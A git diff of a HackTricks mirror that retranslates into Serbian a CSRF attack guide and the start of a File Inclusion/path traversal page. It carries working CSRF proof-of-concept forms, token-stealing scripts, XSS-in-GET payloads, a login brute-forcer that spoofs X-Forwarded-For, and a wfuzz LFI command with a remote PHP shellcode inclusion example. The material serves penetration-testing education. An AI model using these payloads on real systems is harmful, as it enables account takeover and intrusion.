mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
58f8bd96a3
commit
afb4217d8b
@ -2,83 +2,111 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Objašnjenje Cross-Site Request Forgery (CSRF)
|
||||
## Cross-Site Request Forgery (CSRF) Objašnjeno
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** je vrsta sigurnosne ranjivosti koja se nalazi u web aplikacijama. Omogućava napadačima da izvrše radnje u ime nesvesnih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamernu stranicu. Ova stranica zatim pokreće zahteve ka nalogu žrtve putem metoda kao što su izvršavanje JavaScript-a, slanje obrazaca ili preuzimanje slika.
|
||||
**Cross-Site Request Forgery (CSRF)** je vrsta sigurnosne ranjivosti u web aplikacijama. Omogućava napadačima da izvode radnje u ime ničega sumnjajućih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik koji je prijavljen na žrtvinu platformu poseti zlonamerni sajt. Taj sajt potom pokreće zahteve prema nalogu žrtve kroz metode kao što su izvršavanje JavaScript-a, slanje formi ili učitavanje slika.
|
||||
|
||||
### Preduslovi za CSRF napad
|
||||
|
||||
Da bi se iskoristila CSRF ranjivost, nekoliko uslova mora biti ispunjeno:
|
||||
Da bi se iskoristila CSRF ranjivost, mora biti ispunjeno nekoliko uslova:
|
||||
|
||||
1. **Identifikujte vrednu akciju**: Napadač treba da pronađe akciju koja vredi iskorišćavanja, kao što je promena lozinke korisnika, email-a ili povećanje privilegija.
|
||||
2. **Upravljanje sesijama**: Sesija korisnika treba da se upravlja isključivo putem kolačića ili HTTP Basic Authentication zaglavlja, jer se druga zaglavlja ne mogu manipulisati u tu svrhu.
|
||||
3. **Odsustvo nepredvidivih parametara**: Zahtev ne bi trebao sadržati nepredvidive parametre, jer oni mogu sprečiti napad.
|
||||
1. **Identifikovati vrednu radnju**: Napadač treba da pronađe radnju vrednu iskorišćavanja, kao što su promena korisnikove lozinke, email-a ili podizanje privilegija.
|
||||
2. **Upravljanje sesijom**: Sesija korisnika treba da se upravlja isključivo putem kolačića ili HTTP Basic Authentication header-a, jer druge header-e nije moguće manipulirati za ovu svrhu.
|
||||
3. **Odsustvo nepredvidivih parametara**: Zahtev ne bi trebalo da sadrži nepredvidive parametre, jer oni mogu sprečiti napad.
|
||||
|
||||
### Brza provera
|
||||
|
||||
Možete **uhvatiti zahtev u Burp-u** i proveriti CSRF zaštite, a da biste testirali iz pregledača, možete kliknuti na **Copy as fetch** i proveriti zahtev:
|
||||
Možete **uhvatiti zahtev u Burp-u** i proveriti CSRF zaštite, a da biste testirali iz pregledača možete kliknuti na **Copy as fetch** i proveriti zahtev:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Odbrana od CSRF
|
||||
### Odbrana protiv CSRF
|
||||
|
||||
Nekoliko mera zaštite može se implementirati kako bi se zaštitili od CSRF napada:
|
||||
Nekoliko protmera može biti implementirano da bi se zaštitilo od CSRF napada:
|
||||
|
||||
- [**SameSite kolačići**](hacking-with-cookies/index.html#samesite): Ova atribut sprečava pregledač da šalje kolačiće zajedno sa zahtevima sa drugih sajtova. [Više o SameSite kolačićima](hacking-with-cookies/index.html#samesite).
|
||||
- [**Deljenje resursa između različitih domena**](cors-bypass.md): CORS politika sajta žrtve može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa sajta žrtve. [Saznajte više o CORS zaobilaženju](cors-bypass.md).
|
||||
- **Verifikacija korisnika**: Pitanje za lozinku korisnika ili rešavanje captcha može potvrditi nameru korisnika.
|
||||
- **Proveravanje Referrer ili Origin zaglavlja**: Validacija ovih zaglavlja može pomoći da se osigura da zahtevi dolaze iz pouzdanih izvora. Međutim, pažljivo kreiranje URL-ova može zaobići loše implementirane provere, kao što su:
|
||||
- Korišćenje `http://mal.net?orig=http://example.com` (URL se završava sa pouzdanim URL-om)
|
||||
- Korišćenje `http://example.com.mal.net` (URL počinje sa pouzdanim URL-om)
|
||||
- **Modifikovanje imena parametara**: Menjanje imena parametara u POST ili GET zahtevima može pomoći u sprečavanju automatizovanih napada.
|
||||
- **CSRF tokeni**: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtev za ovim tokenom u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena može se poboljšati primenom CORS-a.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Ovaj atribut sprečava browser da šalje kolačiće zajedno sa cross-site zahtevima. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): CORS politika žrtvinog sajta može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa žrtvinog sajta. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **Verifikacija korisnika**: Traženje korisničke lozinke ili rešavanje captcha-e može potvrditi nameru korisnika.
|
||||
- **Provera Referrer ili Origin header-a**: Validacija ovih header-a može pomoći da se osigura da zahtevi dolaze iz poverljivih izvora. Međutim, pažljivo skrojeni URL-ovi mogu zaobići loše implementirane provere, kao što su:
|
||||
- Korišćenje `http://mal.net?orig=http://example.com` (URL se završava sa poverljivim URL-om)
|
||||
- Korišćenje `http://example.com.mal.net` (URL počinje sa poverljivim URL-om)
|
||||
- **Izmena imena parametara**: Promena imena parametara u POST ili GET zahtevima može pomoći u prevenciji automatizovanih napada.
|
||||
- **CSRF Tokens**: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtevanje tog tokena u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena se može poboljšati primenom CORS-a.
|
||||
|
||||
Razumevanje i implementacija ovih odbrana su ključni za održavanje sigurnosti i integriteta web aplikacija.
|
||||
Razumevanje i primena ovih odbrana je ključno za održavanje sigurnosti i integriteta web aplikacija.
|
||||
|
||||
## Zaobilaženje odbrana
|
||||
## Defences Bypass
|
||||
|
||||
### Od POST do GET
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Možda je obrazac koji želite da iskoristite pripremljen za slanje **POST zahteva sa CSRF tokenom, ali** trebate **proveriti** da li je **GET** takođe **validan** i da li se kada pošaljete GET zahtev **CSRF token i dalje validira**.
|
||||
Neke aplikacije primenjuju CSRF validaciju samo na POST dok je preskaču za druge HTTP metode. Uobičajen anti-pattern u PHP-u izgleda ovako:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
Ako ranjiv endpoint takođe prihvata parametre iz $_REQUEST, možete ponovo poslati istu akciju kao GET zahtev i potpuno izostaviti CSRF token. Ovo pretvara POST-only akciju u GET akciju koja uspeva bez tokena.
|
||||
|
||||
### Nedostatak tokena
|
||||
Primer:
|
||||
|
||||
Aplikacije mogu implementirati mehanizam za **validaciju tokena** kada su prisutni. Međutim, ranjivost nastaje ako se validacija potpuno preskoči kada token nije prisutan. Napadači mogu iskoristiti ovo tako što će **ukloniti parametar** koji nosi token, ne samo njegovu vrednost. Ovo im omogućava da zaobiđu proces validacije i efikasno izvrše Cross-Site Request Forgery (CSRF) napad.
|
||||
- Original POST with token (intended):
|
||||
|
||||
### CSRF token nije vezan za korisničku sesiju
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
Aplikacije **koje ne vezuju CSRF tokene za korisničke sesije** predstavljaju značajan **sigurnosni rizik**. Ovi sistemi verifikuju tokene protiv **globalnog skupa** umesto da osiguraju da je svaki token vezan za inicijalnu sesiju.
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
Evo kako napadači iskorišćavaju ovo:
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
1. **Autentifikujte se** koristeći svoj nalog.
|
||||
2. **Dobijte validan CSRF token** iz globalnog skupa.
|
||||
3. **Koristite ovaj token** u CSRF napadu protiv žrtve.
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Ova ranjivost omogućava napadačima da šalju neovlašćene zahteve u ime žrtve, iskorišćavajući **neadekvatan mehanizam validacije tokena** aplikacije.
|
||||
Notes:
|
||||
- Ovaj obrazac se često pojavljuje zajedno sa reflected XSS kada se odgovori pogrešno šalju kao text/html umesto application/json.
|
||||
- Povezivanje ovoga sa XSS značajno snižava prepreke za iskorišćavanje jer možete isporučiti jedan GET link koji i pokreće ranjivi kod i potpuno zaobilazi CSRF provere.
|
||||
|
||||
### Zaobilaženje metoda
|
||||
### Lack of token
|
||||
|
||||
Ako zahtev koristi "**čudan**" **metod**, proverite da li **funkcionalnost** **zaobilaženja metoda** radi. Na primer, ako koristi **PUT** metod, možete pokušati da **koristite POST** metod i **pošaljete**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Aplikacije mogu implementirati mehanizam za **validate tokens** kada su oni prisutni. Međutim, postoji ranjivost ako se validacija potpuno preskoči kada token nedostaje. Napadači mogu iskoristiti ovo uklanjanjem parametra koji nosi token, ne samo njegove vrednosti. To im omogućava da izbegnu proces validacije i efikasno sprovedu Cross-Site Request Forgery (CSRF) napad.
|
||||
|
||||
Ovo takođe može raditi slanjem **\_method parametra unutar POST zahteva** ili korišćenjem **zaglavlja**:
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Aplikacije koje **not tying CSRF tokens to user sessions** predstavljaju značajan **security risk**. Ti sistemi verifikuju tokene prema **global pool** umesto da osiguraju da je svaki token vezan za inicijalnu sesiju.
|
||||
|
||||
Evo kako napadači to iskorišćavaju:
|
||||
|
||||
1. **Authenticate** koristeći svoj nalog.
|
||||
2. **Obtain a valid CSRF token** iz global pool-a.
|
||||
3. **Use this token** u CSRF napadu protiv žrtve.
|
||||
|
||||
Ova ranjivost omogućava napadačima da izvrše neautorizovane zahteve u ime žrtve, iskorišćavajući **inadequate token validation mechanism** aplikacije.
|
||||
|
||||
### Method bypass
|
||||
|
||||
Ako zahtev koristi "**weird**" **method**, proverite da li **method** **override functionality** radi. Na primer, ako koristi **using a PUT** method možete pokušati da **use a POST** method i **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Ovo takođe može raditi slanjem **\_method parameter inside the a POST request** ili korišćenjem **headers**:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### Zaobilaženje prilagođenog zaglavlja tokena
|
||||
### Custom header token bypass
|
||||
|
||||
Ako zahtev dodaje **prilagođeno zaglavlje** sa **tokenom** kao **metod zaštite od CSRF**, onda:
|
||||
Ako zahtev dodaje **custom header** sa **token**-om u zahtev kao **CSRF protection method**, onda:
|
||||
|
||||
- Testirajte zahtev bez **prilagođenog tokena i zaglavlja.**
|
||||
- Testirajte zahtev sa tačno **istom dužinom, ali različitim tokenom**.
|
||||
- Testirajte zahtev bez **Customized Token and also header.**
|
||||
- Testirajte zahtev sa tačno istom **same length but different token**.
|
||||
|
||||
### CSRF token se verifikuje putem kolačića
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
Aplikacije mogu implementirati zaštitu od CSRF tako što će duplirati token u kolačiću i parametru zahteva ili postavljanjem CSRF kolačića i verifikovanjem da li token poslat u pozadini odgovara kolačiću. Aplikacija validira zahteve proverom da li se token u parametru zahteva poklapa sa vrednošću u kolačiću.
|
||||
Aplikacije mogu implementirati CSRF zaštitu dupliranjem tokena i u cookie i u parametru zahteva ili postavljanjem CSRF cookie-a i proverom da li token poslat u backend-u odgovara cookie-u. Aplikacija validira zahteve proverom da li token u parametru zahteva usklađuje sa vrednošću u cookie-u.
|
||||
|
||||
Međutim, ova metoda je ranjiva na CSRF napade ako sajt ima greške koje omogućavaju napadaču da postavi CSRF kolačić u pregledaču žrtve, kao što je CRLF ranjivost. Napadač može iskoristiti ovo tako što će učitati obmanjujuću sliku koja postavlja kolačić, nakon čega pokreće CSRF napad.
|
||||
Međutim, ova metoda je ranjiva na CSRF napade ako sajt ima mane koje napadaču omogućavaju da postavi CSRF cookie u browser žrtve, kao što je CRLF ranjivost. Napadač može to iskoristiti tako što učita obmanjujuću sliku koja postavlja cookie, a zatim pokrene CSRF napad.
|
||||
|
||||
Ispod je primer kako bi napad mogao biti strukturiran:
|
||||
```html
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Imajte na umu da ako je **csrf token povezan sa sesijskim kolačićem, ovaj napad neće uspeti** jer ćete morati da postavite žrtvi vašu sesiju, a samim tim ćete napadati sebe.
|
||||
> Imajte na umu da ako je **csrf token povezan sa session cookie-jem ovaj napad neće raditi** jer ćete morati postaviti žrtvin session na svoj, i samim tim ćete napadati sami sebe.
|
||||
|
||||
### Promena Content-Type
|
||||
|
||||
Prema [**ovome**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), kako bi se **izbegli preflight** zahtevi korišćenjem **POST** metode, ovo su dozvoljene vrednosti Content-Type:
|
||||
Prema [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), da biste **izbegli preflight** zahteve koristeći **POST** metod, dozvoljene vrednosti Content-Type su:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
Međutim, imajte na umu da **logika servera može varirati** u zavisnosti od korišćenog **Content-Type**, tako da biste trebali isprobati pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Međutim, imajte na umu da logika servera može varirati u zavisnosti od korišćenog **Content-Type**, pa treba da probate pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Primer (iz [ovde](https://brycec.me/posts/corctf_2021_challenges)) slanja JSON podataka kao text/plain:
|
||||
Primer (iz [here](https://brycec.me/posts/corctf_2021_challenges)) slanja JSON podataka kao text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,32 +162,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Obilaženje Preflight Zahteva za JSON Podatke
|
||||
### Zaobilaženje preflight zahteva za JSON podatke
|
||||
|
||||
Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Content-Type: application/json` u HTML formi nije direktno moguće. Slično tome, korišćenje `XMLHttpRequest` za slanje ovog tipa sadržaja pokreće preflight zahtev. Ipak, postoje strategije koje potencijalno mogu da zaobiđu ovo ograničenje i provere da li server obrađuje JSON podatke bez obzira na Content-Type:
|
||||
Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Content-Type: application/json` u HTML formi nije direktno moguće. Slično tome, korišćenje `XMLHttpRequest` za slanje ovog Content-Type pokreće preflight request. Ipak, postoje strategije kojima se može pokušati zaobići ovo ograničenje i proveriti da li server obrađuje JSON podatke bez obzira na Content-Type:
|
||||
|
||||
1. **Koristite Alternativne Tipove Sadržaja**: Koristite `Content-Type: text/plain` ili `Content-Type: application/x-www-form-urlencoded` postavljanjem `enctype="text/plain"` u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
|
||||
2. **Izmenite Tip Sadržaja**: Da biste izbegli preflight zahtev dok osiguravate da server prepoznaje sadržaj kao JSON, možete poslati podatke sa `Content-Type: text/plain; application/json`. Ovo ne pokreće preflight zahtev, ali bi moglo biti ispravno obrađeno od strane servera ako je konfigurisan da prihvati `application/json`.
|
||||
3. **Korišćenje SWF Flash Fajla**: Manje uobičajena, ali izvodljiva metoda uključuje korišćenje SWF flash fajla za obilaženje takvih ograničenja. Za detaljno razumevanje ove tehnike, pogledajte [ovaj post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Koristite alternativne Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
|
||||
2. **Izmenite Content-Type**: Da biste izbegli preflight request a pritom osigurali da server prepozna sadržaj kao JSON, možete poslati podatke sa `Content-Type: text/plain; application/json`. Ovo neće pokrenuti preflight request, ali server može ispravno obraditi podatke ako je konfigurisан da prihvata `application/json`.
|
||||
3. **Korišćenje SWF Flash fajla**: A manje uobičajena ali izvodljiva metoda uključuje korišćenje SWF flash fajla za zaobilaženje takvih ograničenja. Za detaljnije razumevanje ove tehnike, referišite se na [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Obilaženje Provere Referrer / Origin
|
||||
### Zaobilaženje provere Referrer / Origin
|
||||
|
||||
**Izbegnite Referrer header**
|
||||
|
||||
Aplikacije mogu validirati 'Referer' header samo kada je prisutan. Da biste sprečili pretraživač da pošalje ovaj header, može se koristiti sledeći HTML meta tag:
|
||||
Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Ovo osigurava da 'Referer' header bude izostavljen, potencijalno zaobilazeći provere validacije u nekim aplikacijama.
|
||||
Ovo osigurava da se 'Referer' zaglavlje izostavi, potencijalno zaobilazeći validacione provere u nekim aplikacijama.
|
||||
|
||||
**Regexp zaobilaženja**
|
||||
**Regexp bypasses**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Da biste postavili naziv domena servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi:
|
||||
Da biste postavili ime domena servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -188,25 +216,25 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **HEAD metoda zaobilaženja**
|
||||
### **HEAD method bypass**
|
||||
|
||||
Prvi deo [**ovog CTF izveštaja**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) objašnjava da je [Oak-ov izvorni kod](https://github.com/oakserver/oak/blob/main/router.ts#L281), ruter postavljen da **obrađuje HEAD zahteve kao GET zahteve** bez tela odgovora - uobičajena zaobilaznica koja nije jedinstvena za Oak. Umesto specifičnog handler-a koji se bavi HEAD zahtevima, oni su jednostavno **dati GET handler-u, ali aplikacija samo uklanja telo odgovora**.
|
||||
U prvom delu [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) objašnjeno je da je u [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) router podešen da **handle HEAD requests as GET requests** with no response body — česta zaobilaznica koja nije jedinstvena za Oak. Umesto posebnog handler-a koji obrađuje HEAD zahteve, oni su jednostavno **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
Stoga, ako je GET zahtev ograničen, možete jednostavno **poslati HEAD zahtev koji će biti obrađen kao GET zahtev**.
|
||||
Dakle, ako je GET zahtev ograničen, možete jednostavno **send a HEAD request that will be processed as a GET request**.
|
||||
|
||||
## **Primeri eksploatacije**
|
||||
## **Exploit Examples**
|
||||
|
||||
### **Ekstrakcija CSRF tokena**
|
||||
### **Exfiltrating CSRF Token**
|
||||
|
||||
Ako se koristi **CSRF token** kao **odbrana**, možete pokušati da **ekstrahujete** koristeći [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ranjivost ili [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) ranjivost.
|
||||
Ako se **CSRF token** koristi kao **odbrana**, možete pokušati da ga **exfiltrate it** zloupotrebom [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ranjivosti ili [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) ranjivosti.
|
||||
|
||||
### **GET koristeći HTML tagove**
|
||||
### **GET korišćenjem HTML tagova**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
Ostali HTML5 tagovi koji se mogu koristiti za automatsko slanje GET zahteva su:
|
||||
Drugi HTML5 tagovi koji se mogu koristiti za automatsko slanje GET zahteva su:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -235,7 +263,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### Form GET zahtev
|
||||
### Forma GET zahteva
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -281,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Form POST zahtev kroz iframe
|
||||
### POST zahtev forme kroz iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -304,7 +332,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Ajax POST zahtev**
|
||||
### **Ajax POST request**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -374,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### Form POST zahtev iz iframe-a
|
||||
### POST zahtev iz forme unutar iframe-a
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -398,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Ukrao CSRF token i poslao POST zahtev**
|
||||
### **Ukradi CSRF Token i pošalji POST request**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -445,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Ukrao CSRF token i poslao Post zahtev koristeći iframe, formu i Ajax**
|
||||
### **Ukradi CSRF Token i pošalji Post zahtev koristeći iframe, form i Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -473,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Ukrao CSRF token i poslao POST zahtev koristeći iframe i formu**
|
||||
### **Ukradi CSRF Token i pošalji POST request koristeći iframe i form**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -506,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **Ukrao token i poslao ga koristeći 2 iframes**
|
||||
### **Ukradi token i pošalji ga koristeći 2 iframes**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -536,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTUk stealing CSRF token sa Ajax i slanje posta sa formom**
|
||||
### **POST — Ukradi CSRF token koristeći Ajax i pošalji POST pomoću forme**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -567,7 +595,7 @@ document.getElementById("form").submit()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
### CSRF са Socket.IO
|
||||
### CSRF sa Socket.IO
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
@ -589,7 +617,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Kod se može koristiti za Brut Force prijavni obrazac koristeći CSRF token (takođe koristi zaglavlje X-Forwarded-For da pokuša da zaobiđe moguće crne liste IP adresa):
|
||||
Ovaj kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For kako bi pokušao da zaobiđe mogući IP blacklisting):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -644,7 +672,6 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,61 +1,61 @@
|
||||
# Uključivanje fajlova/Putanja prolaza
|
||||
# File Inclusion/Path traversal
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Uključivanje fajlova
|
||||
## File Inclusion
|
||||
|
||||
**Uključivanje udaljenog fajla (RFI):** Fajl se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po defaultu (**allow_url_include**).\
|
||||
**Uključivanje lokalnog fajla (LFI):** Server učitava lokalni fajl.
|
||||
**Remote File Inclusion (RFI):** Fajl se učitava sa udaljenog servera (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Server učitava lokalni fajl.
|
||||
|
||||
Ranljivost se javlja kada korisnik može na neki način kontrolisati fajl koji će server učitati.
|
||||
Ranljivost se javlja kada korisnik na neki način može da kontroliše fajl koji će server učitati.
|
||||
|
||||
Ranljive **PHP funkcije**: require, require_once, include, include_once
|
||||
|
||||
Zanimljiv alat za iskorišćavanje ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Zanimljiv alat za iskorišćavanje ove ranljivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Zanimljivo - LFI2RCE fajlovi
|
||||
## Blind - Interesting - LFI2RCE fajlovi
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Kombinovanjem nekoliko \*nix LFI lista i dodavanjem više putanja, kreirao sam ovu:**
|
||||
**Kombinovanjem više \*nix LFI listi i dodavanjem dodatnih putanja napravio sam ovu:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Pokušajte takođe da promenite `/` u `\`\
|
||||
Pokušajte takođe da dodate `../../../../../`
|
||||
Pokušajte takođe promeniti `/` u `\`\
|
||||
Pokušajte takođe dodati `../../../../../`
|
||||
|
||||
Lista koja koristi nekoliko tehnika za pronalaženje datoteke /etc/password (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Lista koja koristi nekoliko tehnika da pronađe fajl /etc/password (to check if the vulnerability exists) može se naći [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Spajanje različitih rečnika:
|
||||
Spajanje različitih wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Pokušajte takođe da promenite `/` u `\`\
|
||||
Pokušajte takođe da uklonite `C:/` i dodate `../../../../../`
|
||||
Pokušajte takođe promeniti `/` u `\`\
|
||||
Pokušajte takođe ukloniti `C:/` i dodati `../../../../../`
|
||||
|
||||
Lista koja koristi nekoliko tehnika za pronalaženje datoteke /boot.ini (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Lista koja koristi nekoliko tehnika da pronađe fajl /boot.ini (to check if the vulnerability exists) može se naći [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Proverite LFI listu za linux.
|
||||
|
||||
## Osnovni LFI i zaobilaženja
|
||||
## Basic LFI and bypasses
|
||||
|
||||
Svi primeri su za Lokalnu Uključivanje Datoteka, ali se mogu primeniti i na Daljinsko Uključivanje Datoteka (stranica=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Svi primeri su za Local File Inclusion, ali se takođe mogu primeniti na Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
